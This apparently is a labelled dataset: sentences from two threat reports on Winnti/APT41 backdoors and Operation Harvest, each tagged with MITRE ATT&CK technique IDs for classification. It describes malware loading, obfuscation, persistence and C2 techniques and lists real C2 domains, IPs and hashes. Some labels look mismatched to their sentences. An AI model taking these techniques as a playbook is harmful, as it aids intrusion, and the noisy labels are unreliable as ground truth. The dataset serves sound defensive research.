{"sentence": "Several things point at common authorship: Use of multiple transport protocols Support for specifying a proxy server Identical configuration restrictions on time of day and days of the week Implementation of the KCP protocol Implemented (and disabled by default) logging of debug messages and errors Figure 47.", "labels": ["T1090", "T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Message logging in FunnySwitch6.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "ShadowPad During the investigation we also discovered two samples containing ShadowPad malware.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of the archive 20200926___Request for wedding reception.exeFor bait, it contains a Chinese-language Microsoft Word document with the text of a wedding banquet form.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 50.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Bait file wedding.docxThe archive contents are unpacked to the folder c:\\programdata, from where (besides the bait file being opened) the payload log.exe is launched.", "labels": ["T1027", "T1036.005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Both the executable file and the DLL library are obfuscated with VMProtect, but we also found identical unprotected versions (as shown in the following screenshots).", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "An unpacked legitimate component of Bitdefender (386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd) serves as log.exe.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It dynamically loads the library log.dll.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Loading log.dll in log.exeThe library, in turn, when loaded checks for whether the current module contains a certain set of bytes at offset 0x2775.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "If the loading module meets its expectations, these bytes change to a call instruction for a DLL function.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Check and modification of executable module in log.dllA similar technique has been previously described by ESET in the context of Winnti attacks on universities in Hong Kong.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "ShadowPad malware was used as the payload in these attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 53.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Structure of obfuscated codeIn addition, to obfuscate the control flow in the code, conditional jumps that never run are included as well: cmp esp, 3181h jb loc_1000BCA9 The obfuscated code is the loader for the subsequent shellcode, which is encrypted in the file log.dll.dat.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "After decryption, the file is deleted and the shellcode is re-encrypted, saved in the registry, and run.", "labels": ["T1027", "T1070.004", "T1112", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "When log.exe is launched subsequently, the shellcode will be loaded from the registry.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The data is stored in a hive with a name resembling the following: (HKLM|HKCU)\\Software\\Classes\\CLSID\\{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}, in key %8.8X.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In our case, they equal {56a36bd2-5e2b-20b0-96f2cb9bb3f43475} and EB5D1182, respectively.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The payload is ShadowPad shellcode that has been obfuscated with the same rel_jmp and fake-jb techniques.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "UDP://cigy2jft92.kasprsky.info:53 SOCKS4 SOCKS4 SOCKS5 SOCKS5 They include the likely data of module assembly (June 6, 2020), name of the service used by the malware to gain persistence on the system (WMNetworkSvc), names of processes into which shellcode can be injected, and the C2 domain cigy2jft92.kasprsky[.]info.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Investigation of subdomains and IP addresses yields another second-level domain, livehost[.]live, whose subdomain d89o0gm35t.livehost[.]live is indicated as a C2 server in one copy of Crosswalk (86100e3efa14a6805a33b2ed24234ac73e094c84cf4282426192607fb8810961).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Moreover, all samples of these backdoors were signed with the stolen Zealot Digital certificate and were likely used together as part of a single campaign.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "This is not the only example of a connection between the Crosswalk and ShadowPad network infrastructures.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Two Crosswalk C2 servers we found, 103.248.21[.]134 and 103.248.21[.]179, contained an SSL certificate with SHA-1 value of b1d749a8883ac9860c45986e2ffe370feb3d9ab6.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The same certificate was noted at IP address 103.4.29[.]167, which via the domain update.ilastname[.]com was used as a C2 server for another copy of ShadowPad (37be65842e3fc72a5ceccdc3d7784a96d3ca6c693d84ed99501f303637f9301a).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Fragment of ShadowPad and PlugX infrastructure7.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "PlugX The SSL certificate pointed us to another C2 server, with the domain ns.mircosoftbox[.]com.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We found that this C2 server is used by an interesting copy of the PlugX backdoor.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Its core is typical of PlugX, being an SFX archive (ccdb8e0162796efe19128c0bac78478fd1ff2dc3382aed0c19b0f4bd99a31efc) that contains the library mapistub.dll, which loads as a legitimate executable.", "labels": ["T1027", "T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 55.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Loading and running shellcode in mapistub.dllThe shellcode has been obfuscated with junk instructions and inverted conditional jumps (combinations of jle/jg and the like).", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 57.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The C2 address is encoded in the page body between the DZKS and DZJS markers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Again, the address of a Google Docs document is used as the URL.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 58.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "URLNote that the document is editable without logging in.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "But when we accessed it for the first time, it had the IP address 107.174.45[.]134, which is related to the domain dc-d68d34331440.mircosoftbox[.]com and, apparently, had been put in place by the attackers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "A similar technique has been used by Winnti in the past: according to Trend Micro, an encoded C2 address was stored in GitHub repositories in 2017.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 59.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of the SFX archiveWhen unpacked, the archive runs the script 1.vbs, which in turn passes control to a.bat. Figure 60.", "labels": ["T1027", "T1059.003"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The assembly launches with the help of InstallUtil.exe from .NET Framework, enabling it to bypass application allowlist restrictions.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Running shellcode in image.jpgThe purpose of image.jpg is to run the same PlugX shellcode with the help of CreateThread.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Its configuration contains two C2 servers: update.upgradsource[.]com and ns.upgradsource[.]com.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The domain upgradsource[.]com is mentioned in a Unit42 report on a group of similar samples named \"Paranoid PlugX.\" They received this name due to the presence of a script for wiping traces of malware from the system.", "labels": ["T1070.004"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Among other reasons, the structure of the .NET Wrapper module in image.jpg, and much of the cleanup script a.bat, is nearly identical.", "labels": ["T1059.003"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Investigation of the network infrastructure provides yet another piece of confirmation of the relationship between Paranoid PlugX and Winnti.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The second-level domains byeserver[.]com and serverbye[.]com, in turn, are listed by FireEye in its report on APT41. 8.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Conclusion Winnti has an extensive arsenal of malware, as can be seen from the group's attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Winnti uses both widely available tools (Metasploit, Cobalt Strike, PlugX) and custom-developed ones, which are constantly increasing in number.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "By May 2020, the group had started to use its new backdoor, FunnySwitch, which possess unusual message relay functionality.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "One distinguishing trait of the group's backdoors is support for multiple transport protocols for connecting to C2 servers, which complicates efforts to detect malicious traffic.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Winnti continues to pursue game developers and publishers in Russia and elsewhere.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Attacks on software developers are especially dangerous for the risk they pose to end users, as already happened in the well-known cases of CCleaner and ASUS.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "By ensuring timely detection and investigation of breaches, companies can avoid becoming victims of such a scenario.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Win32.Winnti.a Trojan-Dropper.Win32.Winnti.b Trojan-Dropper.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Win32.Shadowpad.a Backdoor.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Win32.FunnySwitch.a REMOTE", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "[PTsecurity] Crosswalk sid: 10006001;10006002;10006003;10006004;", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "SHELL [PTsecurity] Metasploit/Meterpreter sid: 10003751;10003753;10003754;10003755;10006172;10002588;", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "REMOTE [PTsecurity] Cobalt Strike Beacon Observed sid: 10000748;10005757;", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "REMOTE", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "[PTsecurity] Cobalt Strike (jquery profile) sid:10005754; REMOTE", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "[PTsecurity] FunnySwitch sid: 11004815;1004814;11004813;11004812; SPYWARE", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "[PTsecurity] ShadowPad sid: 10005851;10005852;10005854;", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "[PTsecurity] PlugX sid: 10001390;10001391;10002946;10004422;10004426;10004472;10004473;10004515;10004532;10005968; 10.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
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{"sentence": "Spearphishing Link Winnti sends phishing messages with malicious links Execution T1059.003 Command and Scripting Interpreter: Windows Command Shell Winnti uses cmd.exe and .bat files to run commands T1059.005 Command and Scripting Interpreter: Visual Basic Winnti uses VBS files to pass control to subsequent malware stages T1059.007 Command and Scripting Interpreter: JavaScript/JScript Winnti uses malicious JScript code in intermediate stages and for the payload T1203 Exploitation for Client Execution Winnti exploits RCE in a CHM file by means of an ActiveX object T1106 Native API Winnti uses various WinAPI functions to run malicious shellcode in the current process or to inject it into another process T1204.002 User Execution: Malicious File Winnti tries to make users run malicious .lnk, .chm, and .exe files Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Winnti persists by means of a registry run key or a startup folder T1543.003 Create or Modify System Process:", "labels": ["T1059.003", "T1106", "T1204.002", "T1547.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Windows Service Winnti persists on infected machines by creating new services T1053.005 Scheduled Task/Job: Scheduled Task Winnti creates a task with schtasks for persistence Defense evasion T1140 Deobfuscate/Decode Files or Information To store shellcode with the payload, Winnti uses a custom PL format with encryption T1574.002 Hijack Execution Flow: DLL Side-Loading Winnti uses legitimate utilities to load DLLs from ShadowPad and PlugX T1562.004 Impair Defenses: Disable or Modify System Firewall FunnySwitch adds allow rules to Windows Firewall for C2 connections T1070 Indicator Removal on Host Paranoid PlugX deletes artifacts created during infection from the file system and registry T1202 Indirect Command Execution Winnti uses intermediate VBS scripts to run .bat", "labels": ["T1053.005", "T1140", "T1543.003", "T1574.002"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Protocol Impersonation Winnti uses FakeTLS in Crosswalk traffic T1573.001 Encrypted Channel:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Symmetric Cryptography Winnti uses AES for encrypting traffic in its backdoors T1008 Fallback Channels The Winnti configuration supports indicating multiple C2 servers of various types T1095 Non-Application Layer", "labels": ["T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Protocol Winnti backdoors can use TCP and UDP for C2 connections T1090.001 Proxy: Internal Proxy FunnySwitch can establish C2 connections via a peer-to-peer network of infected hosts T1090.002 Proxy: External Proxy Winnti backdoors support C2 connections via an external HTTP/SOCKS proxy T1102.001 Web Service: Dead Drop Resolver Winnti uses Google Docs for updating the C2 address in PlugX", "labels": ["T1090", "T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "A special thanks to our Professional Services’ IR team, ShadowServer, for historical context on C2 domains, and Thomas Roccia/Leandro Velasco for malware analysis support.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Executive Summary Following a recent Incident Response, McAfee Enterprise‘s Advanced Threat Research (ATR) team worked with its Professional Services IR team to support a case that initially started as a malware incident but ultimately turned out to be a long-term cyber-attack.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "IOCs that could be shared are at the end of this document.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "McAfee customers are protected from the malware/tools described in this blog.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "MVISION Insights customers will have the full details, IOCs and TTPs shared via their dashboard.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "MVISION Endpoint, EDR and UCE platforms provide signature and behavior-based prevention and detection capability for many of the techniques used in this attack.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "A more detailed blog with specific recommendations on using the McAfee portfolio and integrated partner solutions to defend against this attack can be found here.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Technical Analysis Initial Infection Vectors [TA0001] Forensic investigations identified that the actor established initial access by compromising the victim’s web server [T1190].", "labels": ["T1190"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Examples of the tools discovered are PSexec, Procdump, and Mimikatz.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We will highlight a few in each category.", "labels": ["T1003.001"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Besides the use of Mimikatz to dump credentials, the adversaries used two tools for privilege escalations [T1068].", "labels": ["T1003.001"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "One of the tools was “RottenPotato”.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "This is an open-source tool that is used to get a handle to a privileged token, for example, “NT AUTHORITY\\SYSTEM”, to be able to execute tasks with System rights.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Figure 2 BadPotato", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The BadPotato code can be found on GitHub where it is offered as a Visual Studio project.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We inspected the adversary’s compiled version using DotPeek and hunted for artifacts in the code.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "TimeDateStamp: 05/12/2020 08:23:47 – Date and time the image was created PlugX Another major and characteristic privilege escalation technique the adversary used in this long-term campaign was the malware PlugX as a backdoor.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "PlugX makes use of the technique “DLL Sideloading” [T1574.002].", "labels": ["T1574.002"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "PlugX was observed as usual where a single (RAR) executable contained the three parts: Valid executable.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The adversary used either the standalone version or distributed three files on different assets in the network to gain remote control of those assets.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The samples discovered and analyzed were communicating towards two domains.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Both domains were registered during the time of the campaign.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "One of the PlugX samples consisted of the following three parts: Filename Hashes HPCustPartic.exe SHA256: 8857232077b4b0f0e4a2c3bb5717fd65079209784f41694f8e1b469e34754cf6 HPCustPartUI.dll SHA256: 0ee5b19ea38bb52d8ba4c7f05fa1ddf95a4f9c2c93b05aa887c5854653248560 HPCustPartic.bin SHA256:", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "008f7b98c2453507c45dacd4a7a7c1b372b5fafc9945db214c622c8d21d29775 The .exe file is a valid and signed executable and, in this case, an executable from HP (HP Customer participation).", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We also observed other valid executables being used, ranging from AV vendors to video software.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The DLL is valid but contains a small hook towards the payload which, in our case, is the .bin file.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The DLL loads the PlugX config and injects it into a process.", "labels": ["T1055"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We executed the samples in a test setup and dumped the memory of the machine to conduct memory analysis with volatility.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "After the basic forensically sound steps, we ran the malfind plugin to detect possible injected code in a process.", "labels": ["T1055"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Address: 0x80000 Process: svchost.exe Pid: 1176 Address: 0x190000 Process: rundll32.exe", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Pid: 3784 Address: 0xd0000 Process: rundll32.exe", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "This is similar to the RUNDLL32.exe that is mentioned twice with PID 3785 and different addresses.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The output of the Yara rule scan (and there was way more output) confirmed the presence of PlugX module code in PID 1176 of the SVCHOST service.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Also, the rule was triggered on PID 3784, which belonged to RUNDLL32.exe.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Investigating the dumps after dynamic analysis, we observed two domain names used for C2 traffic: sery.brushupdata.com dnssery.brushupdata.com In particular, we saw the following hardcoded value that might be another payload being downloaded: sery.brushupdata.com/CE1BC21B4340FEC2B8663B69", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The PlugX families we observed used DNS [T1071.001]", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "[T1071.004] as the transport channel for C2 traffic, in particular TXT queries.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "For example: hxxp://sery.brushupdata.com/B4BBDCC029E119719F065622 hxxp://sery.brushupdata.com/07FDB1B97D22EE6AF2482B1B hxxp://sery.brushupdata.com/273CDC0B9C6218BC1187556D Other PlugX samples we observed injected themselves into Windows Media Player and started a connection with the following two domains: center.asmlbigip.com sec.asmlbigip.com", "labels": ["T1055"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Hello Winnti Another mechanism observed was to start a program as a service", "labels": ["T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The file the adversary was using seemed to be a backdoor that was using the DLL file format (2458562ca2f6fabddae8385cb817c172).", "labels": ["T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The DLL is used to create a malicious service and its name is “service.dll”.", "labels": ["T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The name of the created service, “SysmainUpdate”, is usurping the name of the legitimate service “SysMain” which is related to the legitimate DLL sysmain.dll and also to the Superfetch service.", "labels": ["T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The dll is run using the command “rundll32.exe SuperFrtch.dll, #1”.", "labels": ["T1218.011"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The export function has the name “WwanSvcMain”.", "labels": ["T1569.002"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "It appears that the dll employs several mechanisms to fingerprint the targeted system and avoid analysis in the sandbox, making analysis more difficult.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The DLL embeds several obfuscated strings decoded when running.", "labels": ["T1027", "T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Once the fingerprinting has been done, the malware will install the malicious service using the API RegisterServiceHandlerA then SetServiceStatus, and finally CreateEventA.", "labels": ["T1106"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "A description of the technique can be found here.", "labels": ["T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The malware also decrypts and injects the payload in memory.", "labels": ["T1055", "T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The following screenshot shows the decryption routine.", "labels": ["T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Figure 4 Decryption routine When we analyzed this unique routine, we discovered similarities and the mention of it in a publication that can be read here.", "labels": ["T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The malware described in the article is attributed to the Winnti malware family.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We believe that this dat file might be the loaded payload.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "klcsngtgui.exe 1560413F7E <abbreviation-victim>.dat What we observed here was the use of a valid executable, the AES 256 decryption key of the payload (.dat file).", "labels": ["T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In this case, the payload file was named using an abbreviation of the victim company’s name.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "File carving did not work since the disk/unallocated space was overwritten.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "However, reconstructing traces from memory revealed that we were dealing with the Winnti 4.0 malware.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The IP is pushed into the list generated by the malware at runtime.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "At the start of the malware, it populates the list with the system’s DNS, and the OpenDNS server is only used as a backup to ensure that the C2 domain is resolved.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Chrome/57.0.2987.133 Safari/537.36 Other Persistence Activities WMI activity [T1546.003] was also observed to execute commands on the systems.", "labels": ["T1047", "T1053.005"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "From a persistence point of view, scheduled tasks [T1053.005] and the use of valid accounts [T1078] acquired through the use of Mimikatz, or creating LSASS dumps, were observed being employed during the length of the campaign.", "labels": ["T1003.001", "T1053.005", "T1078"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In one particular case, we observed a familiar filename: “PsExec.exe”.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "This SysInternals tool is often observed being used in lateral movement by adversaries, however, it can also be used by the sysadmins of the network.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In our case, the PsExec executable had a file size of 9.6 MB where the original PsExec (depending on 32- or 64-bit version) had a maximum file size of 1.3 MB.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "An initial static inspection of the file resulted in a blob of code that was present in the executable which had a very high entropy score (7.99).", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "When running the file from the command line, the following output was observed: Figure 5 PsExec output The error notification and the ‘Impacket’ keyword tipped us off and, after digging around, we found more.", "labels": ["T1059.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The fake PsExec is an open-source Python script that is a PsExec alternative with shell/backdoor capability.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The file was compiled during the time of the latest attack activities and signed with an expired certificate.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "With high confidence, we believe that the adversary was interested in stealing proprietary intelligence that could be used for military or intellectual property/manufacturing purposes.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The adversary used several techniques to exfiltrate the data.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In some cases, batch (.bat) scripts were created to gather information from certain network shares/folders and use the ‘rar’ tool to compress them to a certain size [T1020]", "labels": ["T1059.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "[T1030].", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "[Target-directory] On other occasions, manual variants of the above command were discovered after using the custom backdoor as described earlier.", "labels": ["T1005"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "An example of the [redacted] web traffic in the IIS logfiles: Date /Time Request TCP Src port Source IP User-Agent Redacted GET /****/[redacted].rar 80 180.50.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The User-Agent value is an interesting one, “MINIXL”.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "When we researched that value, we discovered a blog from Dell SecureWorks from 2015 that mentions the same User-Agent, but also a lot of the artifacts mentioned from the blog overlapped with the observations and TTPs of Operation Harvest [link].", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Who did it?", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "That seems to be the one-million-dollar question to be asked.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Within McAfee, attribution is not our main focus, protecting our customers is our priority.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "What we do care about is that if we learn about these techniques during an investigation, can we map them out and support our IR team on the ground, or a customer’s IR team, with the knowledge that can help determine which phase of the attack the evidence is pointing to and based on historical data and intelligence, assist in blocking the next phase and discover more evidence?", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We started by mapping out all MITRE ATT&CK Enterprise techniques and sub-techniques, added the tools used, and did a comparison against historical technique data from the industry.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We ended up with four groups that shared techniques and sub-techniques.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
